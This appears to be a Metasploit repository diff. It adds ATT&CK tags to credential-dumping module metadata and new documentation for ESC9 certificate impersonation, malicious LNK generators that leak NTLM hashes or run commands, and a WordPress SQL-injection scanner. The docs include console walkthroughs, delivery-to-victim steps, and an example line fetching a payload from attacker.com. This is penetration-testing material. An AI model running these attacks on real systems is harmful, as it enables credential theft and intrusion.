"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-11-02 14:03:15 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/linux/gather/manageengine_password_manager_creds.rb",
"is_install_path": true,
"ref_name": "linux/gather/manageengine_password_manager_creds",
@@ -268251,7 +268946,9 @@
"URL-https://github.com/huntergregal/mimipenguin",
"URL-https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919",
"URL-https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490",
"CVE-2018-20781"
"CVE-2018-20781",
"ATT&CK-T1003.007",
"ATT&CK-T1003.008"
],
"platform": "Linux",
"arch": "x86, x64, aarch64",
@@ -268259,7 +268956,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-13 09:23:28 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/linux/gather/mimipenguin.rb",
"is_install_path": true,
"ref_name": "linux/gather/mimipenguin",
@@ -268331,7 +269028,8 @@
],
"description": "This module grab OpenVPN credentials from a running process\n in Linux.\n\n Note: --auth-nocache must not be set in the OpenVPN command line.",
"references": [
"URL-https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh"
"URL-https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh",
"ATT&CK-T1003.007"
],
"platform": "Linux",
"arch": "",
@@ -268339,7 +269037,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-02 23:29:48 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/linux/gather/openvpn_credentials.rb",
"is_install_path": true,
"ref_name": "linux/gather/openvpn_credentials",
@@ -268578,7 +269276,8 @@
"URL-https://github.com/shmilylty/vhost_password_decrypt",
"CVE-2022-22948",
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb",
"ATT&CK-T1003"
],
"platform": "Linux,Unix",
"arch": "",
@@ -268586,7 +269285,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2023-04-12 13:09:34 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
"is_install_path": true,
"ref_name": "linux/gather/vcenter_secrets_dump",
@@ -272991,14 +273690,16 @@
"joev <joev@metasploit.com>"
],
"description": "This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\n versions 10.3 to 10.14.",
"references": [],
"references": [
"ATT&CK-T1003"
],
"platform": "OSX",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-01 02:49:28 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/osx/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "osx/gather/hashdump",
@@ -273625,14 +274326,16 @@
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "Post module to dump the password hashes for all users on a Solaris system.",
"references": [],
"references": [
"ATT&CK-T1003.008"
],
"platform": "Solaris",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 00:19:25 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/solaris/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "solaris/gather/hashdump",
@@ -274250,7 +274953,8 @@
],
"description": "This module uses the registry to extract the stored domain hashes that have been\n cached as a result of a GPO setting. The default setting on Windows is to store\n the last ten successful logins.",
"references": [
"URL-https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb"
"URL-https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb",
"ATT&CK-T1003.005"
],
"platform": "Windows",
"arch": "",
@@ -274258,7 +274962,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/cachedump.rb",
"is_install_path": true,
"ref_name": "windows/gather/cachedump",
@@ -274696,14 +275400,16 @@
"tebo <tebo@attackresearch.com>"
],
"description": "This module harvests credentials found on the host and stores them in the database.",
"references": [],
"references": [
"ATT&CK-T1003"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-28 09:08:33 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/windows/gather/credentials/credential_collector.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/credential_collector",
@@ -274775,14 +275481,16 @@
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module attempts to copy the NTDS.dit database from a live Domain Controller\n and then parse out all of the User Accounts. It saves all of the captured password\n hashes, including historical ones.",
"references": [],
"references": [
"ATT&CK-T1003.003"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-28 09:08:33 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/credentials/domain_hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/domain_hashdump",
@@ -274896,14 +275604,16 @@
"Kx499"
],
"description": "This module will enumerate the Microsoft Credential Store and decrypt the\n credentials. This module can only access credentials created by the user the\n process is running as. It cannot decrypt Domain Network Passwords, but will\n display the username and location.",
"references": [],
"references": [
"ATT&CK-T1003"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-06-20 13:20:44 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/windows/gather/credentials/enum_cred_store.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/enum_cred_store",
@@ -274934,14 +275644,16 @@
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
],
"description": "This module will recover the LAPS (Local Administrator Password Solution) passwords,\n configured in Active Directory, which is usually only accessible by privileged users.\n Note that the local administrator account name is not stored in Active Directory,\n so it is assumed to be 'Administrator' by default.",
"references": [],
"references": [
"ATT&CK-T1003"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-28 09:08:33 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/windows/gather/credentials/enum_laps.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/enum_laps",
@@ -277103,14 +277815,16 @@
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
],
"description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored\n in the database.",
"references": [],
"references": [
"ATT&CK-T1003.001"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-28 09:08:33 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/credentials/sso.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/sso",
@@ -277802,7 +278516,8 @@
"description": "This module extracts the plain-text Windows user login password in Registry.\n It exploits a Windows feature that Windows (2000 to 2008 R2) allows a\n user or third-party Windows Utility tools to configure User AutoLogin via\n plain-text password insertion in (Alt)DefaultPassword field in the registry\n location - HKLM\\Software\\Microsoft\\Windows NT\\WinLogon. This is readable\n by all users.",
"references": [
"URL-http://support.microsoft.com/kb/315231",
"URL-http://core.yehg.net/lab/#tools.exploits"
"URL-http://core.yehg.net/lab/#tools.exploits",
"ATT&CK-T1003"
],
"platform": "Windows",
"arch": "",
@@ -277810,7 +278525,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-28 09:08:33 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/credentials/windows_autologin.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/windows_autologin",
@@ -277847,7 +278562,8 @@
"CVE-2021-36934",
"URL-https://github.com/GossiTheDog/HiveNightmare",
"URL-https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652",
"URL-https://github.com/romarroca/SeriousSam"
"URL-https://github.com/romarroca/SeriousSam",
"ATT&CK-T1003.002"
],
"platform": "Windows",
"arch": "",
@@ -277855,7 +278571,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/credentials/windows_sam_hivenightmare.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/windows_sam_hivenightmare",
@@ -280035,7 +280751,8 @@
],
"description": "This module gathers a file using the raw NTFS device, bypassing some Windows restrictions\n such as open file with write lock. Because it avoids the usual file locking issues, it can\n be used to retrieve files such as NTDS.dit.",
"references": [
"URL-http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/"
"URL-http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/",
"ATT&CK-T1003.003"
],
"platform": "Windows",
"arch": "",
@@ -280043,7 +280760,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-03 12:57:40 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/file_from_raw_ntfs.rb",
"is_install_path": true,
"ref_name": "windows/gather/file_from_raw_ntfs",
@@ -280387,14 +281104,16 @@
"hdm <x@hdm.io>"
],
"description": "This module will dump the local user accounts from the SAM database using the registry",
"references": [],
"references": [
"ATT&CK-T1003.002"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/hashdump",
@@ -280465,14 +281184,16 @@
"Rob Bathurst <rob.bathurst@foundstone.com>"
],
"description": "This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt\n code from cachedump.",
"references": [],
"references": [
"ATT&CK-T1003.004"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/lsa_secrets.rb",
"is_install_path": true,
"ref_name": "windows/gather/lsa_secrets",
@@ -280541,14 +281262,16 @@
"smashery"
],
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
"references": [],
"references": [
"ATT&CK-T1003.001"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/memory_dump.rb",
"is_install_path": true,
"ref_name": "windows/gather/memory_dump",
@@ -280664,14 +281387,16 @@
"Koen Riepe (koen.riepe <Koen Riepe (koen.riepe@fox-it.com)>"
],
"description": "This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.\n It compresses all these files in a cabinet file called All.cab.",
"references": [],
"references": [
"ATT&CK-T1003.003"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/ntds_grabber.rb",
"is_install_path": true,
"ref_name": "windows/gather/ntds_grabber",
@@ -280950,14 +281675,16 @@
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This will dump local accounts from the SAM Database. If the target\n host is a Domain Controller, it will dump the Domain Account Database using the proper\n technique depending on privilege level, OS and role of the host.",
"references": [],
"references": [
"ATT&CK-T1003.002"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-30 11:23:07 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/gather/smart_hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/smart_hashdump",
@@ -281962,7 +282689,8 @@
"description": "Manage kerberos tickets on a compromised host.",
"references": [
"URL-https://github.com/GhostPack/Rubeus",
"URL-https://github.com/wavvs/nanorobeus"
"URL-https://github.com/wavvs/nanorobeus",
"ATT&CK-T1003.004"
],
"platform": "Windows",
"arch": "",
@@ -281970,7 +282698,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-13 09:23:28 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/windows/manage/kerberos_tickets.rb",
"is_install_path": true,
"ref_name": "windows/manage/kerberos_tickets",
@@ -282431,7 +283159,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-09 10:51:17 +0000",
"mod_time": "2025-09-23 16:22:40 +0000",
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/exec_powershell",
@@ -36,6 +36,9 @@ The certificate template to issue, e.g., "User".
### TARGET_USERNAME
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
### TARGET_PASSWORD
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.
### UPDATE_LDAP_OBJECT
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
@@ -135,6 +138,72 @@ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Auxiliary module execution completed
```
### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
```
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options
Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):
Name Current Setting Required Description
---- --------------- -------- -----------
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CA kerberos-DC2-CA yes The target certificate authority
CERT_TEMPLATE User yes The certificate template
LDAPDomain kerberos.issue yes The domain to authenticate to
LDAPPassword N0tpassword! yes The password to authenticate with
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
SSL false no Enable SSL on the LDAP connection
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
Auxiliary action:
Name Description
---- -----------
REQUEST_CERT Request a certificate
View the full module info with the info, or info -d command.
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
```
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
@@ -0,0 +1,94 @@
## Vulnerable Application
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed.
This can lead to arbitrary command execution via manipulated command line buffers.
References:
- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/)
- [Windows LNK Research](https://zeifan.my/Windows-LNK/)
- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1)
- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
Disclosure Date: 2025-07-19.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
1. Execute the module: `run`.
1. A malicious LNK file will be generated.
1. Deliver the LNK file to the target Windows system.
1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
## Options
### COMMAND
The command to execute when the LNK is opened.
Default: `C:\\Windows\\System32\\calc.exe`
Example:
```
set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload"
```
### DESCRIPTION
Optional description for the LNK file. If not set, a random sentence is generated.
Example:
```
set DESCRIPTION Important Document
```
### ICON_PATH
Optional path to an icon for the LNK file. If not set, a random system icon path is generated.
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### BUFFER_SIZE
The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation).
Default: 900
Example:
```
set BUFFER_SIZE 1000
```
## Scenarios
### Basic Command Execution on Windows
Target: Any Windows system (e.g., Windows 10 or later).
Generate an LNK that launches Calculator with custom padding:
```
msf > use auxiliary/fileformat/windows_lnk_padding
msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk
FILENAME => calc.lnk
msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe
COMMAND => C:\\Windows\\System32\\calc.exe
msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900
BUFFER_SIZE => 900
msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut
DESCRIPTION => Calculator Shortcut
msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe
ICON_PATH => %SystemRoot%\\System32\\calc.exe
msf auxiliary(fileformat/windows_lnk_padding) > run
[*] Generating LNK file: calc.lnk
[+] Successfully created calc.lnk
[*] Command line buffer size: 900 bytes
[*] Target command: C:\\Windows\\System32\\calc.exe
[*] Auxiliary module execution completed
```
@@ -0,0 +1,104 @@
## Vulnerable Application
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus.
This can result in NTLM credential leaks over SMB.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
Disclosure Date: 2025-05-06.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
1. Execute the module: `run`.
1. A malicious LNK file is generated.
1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
1. Deliver the LNK file to the target system.
1. Right-click the LNK file in Explorer to trigger the SMB connection.
1. Monitor the listener for captured NTLM hashes.
## Options
### DESCRIPTION
The description for the shortcut.
Default: `Testing Purposes`
Example:
```
set DESCRIPTION Important File
```
### ICON_PATH
The path to an icon for the LNK file.
Default: `e.g. abc.ico`
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### PADDING_SIZE
Size of padding in the command arguments.
Default: 10
Example:
```
set PADDING_SIZE 20
```
## Scenarios
### NTLM Hash Capture on Right-Click
Target: Windows system with Explorer (e.g., Windows 10 or later).
Generate the LNK file:
```
msf > use auxiliary/fileformat/right_click_lnk_leak
msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document
DESCRIPTION => Fake Document
msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll
ICON_PATH => %SystemRoot%\\System32\\imageres.dll
msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15
PADDING_SIZE => 15
msf auxiliary(fileformat/right_click_lnk_leak) > run
[*] Creating 'context.lnk' file...
[+] LNK file created: context.lnk
[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication
[*] Auxiliary module execution completed
```
Set up the capture listener on the attacker machine:
```
msf > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(server/capture/smb) > run
[*] Server started.
```
Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted:
```
[*] SMB Captured - 2025-09-18 21:08:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:examplehashvalue
NT_CLIENT_CHALLENGE:examplechallenge
```
Use cracking tools to recover credentials from the hash.
@@ -0,0 +1,88 @@
## Vulnerable Application
Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
Disclosure Date: 2025-05-16.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
1. Set options like FILENAME, or others as needed.
1. Execute the module: `run`.
1. A malicious LNK file is generated.
1. Place the LNK in a target directory.
1. Browse the directory in Windows Explorer to trigger the SMB connection.
1. Check the console for captured NTLM hashes.
## Options
### DESCRIPTION
Optional description for the shortcut. If unset, a random sentence is generated.
Example:
```
set DESCRIPTION System Update
```
### ICON_PATH
Optional icon path for the LNK. If unset, a random system icon path is generated.
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### PADDING_SIZE
Size of padding in the command arguments.
Default: 10
Example:
```
set PADDING_SIZE 20
```
## Scenarios
### NTLM Hash Capture via Integrated Server
Target: Windows system with Explorer.
```
msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk
FILENAME => leak.lnk
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut
DESCRIPTION => Fake Shortcut
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15
PADDING_SIZE => 15
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run
[*] Creating 'leak.lnk' file...
[+] LNK file created: leak.lnk
[*] Listening for hashes on 192.168.1.25:445
[*] Auxiliary module execution completed
```
Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection:
```
[*] SMB Captured - 2025-09-18 21:07:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:samplehash
NT_CLIENT_CHALLENGE:samplechallenge
```
@@ -0,0 +1,72 @@
## Vulnerable Application
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut.
This can lead to NTLM credential leaks over SMB.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382)
Disclosure Date: 2025-05-10 (reported to MSRC).
## Verification Steps
1. Start msfconsole.
2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
3. Customize options as needed (e.g., set FILENAME or APPNAME).
4. Execute the module: `run`.
5. A malicious LNK file will be generated.
6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.
7. Place the LNK file in a directory on the target system.
8. Browse to the directory in Windows Explorer to trigger the SMB connection.
9. Monitor the console for captured NTLM hashes.
## Options
### APPNAME
Sets the display name of the application in the LNK file. If empty, a random name is generated.
Example:
```
set APPNAME FakeApp
```
## Scenarios
### Basic NTLM Hash Capture on Windows
Target: A Windows system with Explorer (e.g., Windows 10 or later).
Attacker: Use the module to generate the LNK and capture hashes locally.
```
msf > use auxiliary/fileformat/specialfolderdatablock_lnk
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk
FILENAME => malicious.lnk
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp
APPNAME => FakeApp
msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
[*] Starting SMB server on 192.168.1.25:445
[*] Generating malicious LNK file
[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk
[*] Listening for hashes on 192.168.1.25:445
[*] Auxiliary module execution completed
```
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive).
When the victim opens the containing folder in Explorer, an SMB connection is attempted:
```
[*] SMB Captured - 2025-09-18 21:03:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:examplehashvalue
NT_CLIENT_CHALLENGE:examplechallenge
```
@@ -0,0 +1,104 @@
## Vulnerable Application
This module will scan given instances for an unauthenticated SQL injection
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
## References
* [https://wordpress.org/plugins/cp-multi-view-calendar/]
### Setup using Docksal
Install [Docksal](https://docksal.io/)
Create a new Wordpress installation using `fin project create`
```
➜ ~ fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
2. What would you like to install?
PHP based
1. Drupal 8
2. Drupal 8 (Composer Version)
3. Drupal 7
4. Wordpress
5. Magento
6. Laravel
7. Symfony Skeleton
8. Symfony WebApp
9. Grav CMS
10. Backdrop CMS
Go based
11. Hugo
JS based
12. Gatsby JS
13. Angular
HTML
14. Static HTML site
Enter your choice (1-14): 4
Project folder: /home/weh/dev/msf-wp
Project software: Wordpress
Project URL: http://msf-wp.docksal
Do you wish to proceed? [y/n]: y
Cloning repository...
Cloning into 'msf-wp'...
...
3. Installing site
Step 1 Initializing stack...
Removing containers...
...
Starting services...
Creating network "msf-wp_default" with the default driver
Creating volume "msf-wp_cli_home" with default driver
Creating volume "msf-wp_project_root" with local driver
Creating volume "msf-wp_db_data" with default driver
Creating msf-wp_db_1 ... done
Creating msf-wp_cli_1 ... done
Creating msf-wp_web_1 ... done
Connected vhost-proxy to "msf-wp_default" network.
Waiting for project stack to become ready...
Step 2 Initializing site...
Step 2 Generating wp-config.php...
Success: Generated 'wp-config.php' file.
Step 3 Installing site...
msmtp: envelope-from address is missing
Success: WordPress installed successfully.
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
➜ ~
```
Download the Wordpress plugin
```
cd msf-wp/wp-content/plugins
wget https://github.com/wp-plugins/cp-multi-view-calendar/archive/refs/tags/1.0.2.zip
unzip 1.0.2.zip
```
Login and click on DukaPress "Activate" Link
```
http://msf-wp.docksal/wp-admin/plugins.php
user: admin
pass: admin
```
## Verification Steps
1. Do: `use auxiliary/scanner/http/press_cp_calendar_sqli`
2. Do: `set RHOSTS [IP]`
3. Do: `set VHOST [HOSTNAME]`
4. Do: `run`
## Options
## Scenarios
```
msf auxiliary(wordpress_cp_calendar_sqli) > run
[+] 10.211.55.4:80 - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -1,66 +0,0 @@
## Description
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
